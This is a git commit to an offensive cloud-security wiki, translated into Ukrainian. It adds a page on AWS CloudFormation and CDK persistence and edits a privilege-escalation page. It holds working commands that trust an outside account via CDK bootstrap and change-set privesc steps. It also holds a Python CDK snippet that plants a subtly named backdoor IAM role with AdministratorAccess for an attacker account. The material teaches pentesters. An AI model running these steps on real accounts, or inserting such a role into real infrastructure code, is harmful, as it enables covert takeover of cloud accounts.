Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud

This commit is contained in:
Translator
2025-04-07 01:32:04 +00:00
parent b23914ed39
commit b37eadafbd
4 changed files with 86 additions and 11 deletions

View File

@@ -211,6 +211,7 @@
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md) - [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md) - [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md) - [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md) - [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md) - [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md) - [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)

View File

@@ -0,0 +1,23 @@
# AWS - Cloudformation Persistence
{{#include ../../../banners/hacktricks-training.md}}
## CloudFormation
Для отримання додаткової інформації, зверніться до:
{{#ref}}
../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}
### CDK Bootstrap Stack
AWS CDK розгортає CFN стек під назвою `CDKToolkit`. Цей стек підтримує параметр `TrustedAccounts`, який дозволяє зовнішнім обліковим записам розгортати проекти CDK у жертвенному обліковому записі. Зловмисник може зловживати цим, щоб надати собі безстроковий доступ до жертвеного облікового запису, використовуючи AWS cli для повторного розгортання стека з параметрами або AWS CDK cli.
```bash
# CDK
cdk bootstrap --trust 1234567890
# AWS CLI
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -24,7 +24,7 @@ aws cloudformation create-stack --stack-name <stack-name> \
iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
{{#endref}} {{#endref}}
**Потенційний вплив:** Privesc до ролі служби cloudformation, що вказана. **Потенційний вплив:** Привілейоване підвищення до ролі служби cloudformation.
### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`) ### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
@@ -37,23 +37,23 @@ aws cloudformation update-stack \
--capabilities CAPABILITY_IAM \ --capabilities CAPABILITY_IAM \
--region eu-west-1 --region eu-west-1
``` ```
Дозвіл `cloudformation:SetStackPolicy` можна використовувати, щоб **надати собі дозвіл `UpdateStack`** на стек і виконати атаку. `cloudformation:SetStackPolicy` дозволяє **наділити себе правом `UpdateStack`** над стеком і виконати атаку.
**Потенційний вплив:** Привілейоване підвищення до ролі служби cloudformation. **Потенційний вплив:** Привілейоване підвищення до ролі сервісу cloudformation.
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
Якщо у вас є цей дозвіл, але **немає `iam:PassRole`**, ви все ще можете **оновити стеки** та зловживати **IAM ролями, які вже прикріплені**. Перегляньте попередній розділ для прикладу експлуатації (просто не вказуйте жодну роль в оновленні). Якщо у вас є це право, але **немає `iam:PassRole`**, ви все ще можете **оновити стеки** та зловживати **IAM ролями, які вже прикріплені**. Перегляньте попередній розділ для прикладу експлуатації (просто не вказуйте жодну роль в оновленні).
Дозвіл `cloudformation:SetStackPolicy` можна використовувати, щоб **надати собі дозвіл `UpdateStack`** на стек і виконати атаку. `cloudformation:SetStackPolicy` дозволяє **наділити себе правом `UpdateStack`** над стеком і виконати атаку.
**Потенційний вплив:** Привілейоване підвищення до ролі служби cloudformation, яка вже прикріплена. **Потенційний вплив:** Привілейоване підвищення до ролі сервісу cloudformation, яка вже прикріплена.
### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) ### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
Зловмисник з дозволами на **передачу ролі та створення та виконання ChangeSet** може **створити/оновити новий стек cloudformation і зловживати ролями служби cloudformation** так само, як з CreateStack або UpdateStack. Зловмисник з правами **передавати роль і створювати та виконувати ChangeSet** може **створити/оновити новий стек cloudformation і зловживати ролями сервісу cloudformation** так само, як з CreateStack або UpdateStack.
Наступна експлуатація є **варіацією**[ **CreateStack**](./#iam-passrole-cloudformation-createstack), що використовує **дозволи ChangeSet** для створення стека. Наступна експлуатація є **варіацією**[ **CreateStack**](#iam-passrole-cloudformation-createstack), що використовує **права ChangeSet** для створення стека.
```bash ```bash
aws cloudformation create-change-set \ aws cloudformation create-change-set \
--stack-name privesc \ --stack-name privesc \
@@ -89,13 +89,13 @@ aws cloudformation describe-stacks \
``` ```
--change-set-type UPDATE --change-set-type UPDATE
``` ```
**Потенційний вплив:** Privesc до ролі служби cloudformation, яка вже прикріплена. **Потенційний вплив:** Privesc до ролі сервісу cloudformation, яка вже прикріплена.
### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`) ### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)
Зловмисник може зловживати цими дозволами для створення/оновлення StackSets, щоб зловживати довільними ролями cloudformation. Зловмисник може зловживати цими дозволами для створення/оновлення StackSets, щоб зловживати довільними ролями cloudformation.
**Потенційний вплив:** Privesc до ролей служби cloudformation. **Потенційний вплив:** Privesc до ролей сервісу cloudformation.
### `cloudformation:UpdateStackSet` ### `cloudformation:UpdateStackSet`
@@ -103,8 +103,53 @@ aws cloudformation describe-stacks \
**Потенційний вплив:** Privesc до прикріплених ролей cloudformation. **Потенційний вплив:** Privesc до прикріплених ролей cloudformation.
## AWS CDK
AWS cdk - це набір інструментів, що дозволяє користувачам визначати свою інфраструктуру як код на мовах, з якими вони вже знайомі, а також легко повторно використовувати секції. CDK потім перетворює код високого рівня (тобто python) у шаблони Cloudformation (yaml або json).
Щоб використовувати CDK, адміністративний користувач спочатку повинен підготувати обліковий запис, що створює кілька ролей IAM, включаючи *exec role*, яка має \*/\* дозволи. Ці ролі слідують структурі іменування `cdk-<qualifier>-<name>-<account-id>-<region>`. Підготовка повинна бути виконана один раз на регіон на обліковий запис.
За замовчуванням, користувачі CDK не мають доступу до списку ролей, необхідних для використання CDK, що означає, що вам потрібно буде визначити їх вручну. Якщо ви зламаєте машину розробника або якийсь вузол CI/CD, ці ролі можуть бути прийняті для надання вам можливості розгортати CFN шаблони, використовуючи роль `cfn-exec`, щоб дозволити CFN розгортати будь-які ресурси, повністю компрометуючи обліковий запис.
### Визначення імен ролей
Якщо у вас є `cloudformation:DescribeStacks`, ролі визначені в стеку під назвою `CDKToolkit`, і ви можете витягти імена звідти.
Якщо ви на машині, яка використовувалася для створення та розгортання проектів CDK, ви можете витягти їх з `cdk.out/manafest.json` у кореневому каталозі проекту.
Ви також можете зробити хорошу здогадку про те, якими вони є. `qualifier` - це рядок, доданий до ролей, що дозволяє одночасно розгортати кілька екземплярів підготовки CDK, однак значення за замовчуванням закодоване як `hnb659fds`.
```
# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>
```
### Додавання шкідливого коду до виходу проекту
Якщо ви можете записувати в вихід проекту, але не можете розгорнути його самостійно (наприклад, розробник розгортає код через CI/CD, а не з локальної машини), ви все ще можете скомпрометувати середовище, додавши шкідливі ресурси до стеку. Наступне додає IAM роль, яка може бути прийнята обліковим записом зловмисника, до проекту python CDK.
```python
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)
# ----------
# Some existing code.....
# ----------
role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)
```
## Посилання ## Посилання
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -37,13 +37,19 @@ aws cloudformation list-stack-set-operation-results --stack-set-name <name> --op
../aws-privilege-escalation/aws-cloudformation-privesc/ ../aws-privilege-escalation/aws-cloudformation-privesc/
{{#endref}} {{#endref}}
### Persistence
{{#ref}}
../aws-persistence/aws-cloudformation-persistence.md
{{#endref}}
### Post-Exploitation ### Post-Exploitation
Перевірте наявність **секретів** або чутливої інформації в **шаблоні, параметрах та виході** кожного CloudFormation Перевірте наявність **секретів** або чутливої інформації в **шаблоні, параметрах та виході** кожного CloudFormation
## Codestar ## Codestar
AWS CodeStar - це сервіс для створення, управління та роботи з проектами розробки програмного забезпечення на AWS. Ви можете швидко розробляти, збирати та розгортати додатки на AWS за допомогою проекту AWS CodeStar. Проект AWS CodeStar створює та **інтегрує AWS сервіси** для вашого інструментального ланцюга розробки проекту. Залежно від вибору шаблону проекту AWS CodeStar, цей інструментальний ланцюг може включати контроль версій, збірку, розгортання, віртуальні сервери або безсерверні ресурси та інше. AWS CodeStar також **управляє дозволами, необхідними для користувачів проекту** (які називаються членами команди). AWS CodeStar - це сервіс для створення, управління та роботи з проектами розробки програмного забезпечення на AWS. Ви можете швидко розробляти, збирати та розгортати додатки на AWS за допомогою проекту AWS CodeStar. Проект AWS CodeStar створює та **інтегрує AWS сервіси** для вашого інструментального ланцюга розробки проекту. Залежно від вибору шаблону проекту AWS CodeStar, цей інструментальний ланцюг може включати контроль версій, збірку, розгортання, віртуальні сервери або безсерверні ресурси тощо. AWS CodeStar також **управляє дозволами, необхідними для користувачів проекту** (які називаються членами команди).
### Enumeration ### Enumeration
```bash ```bash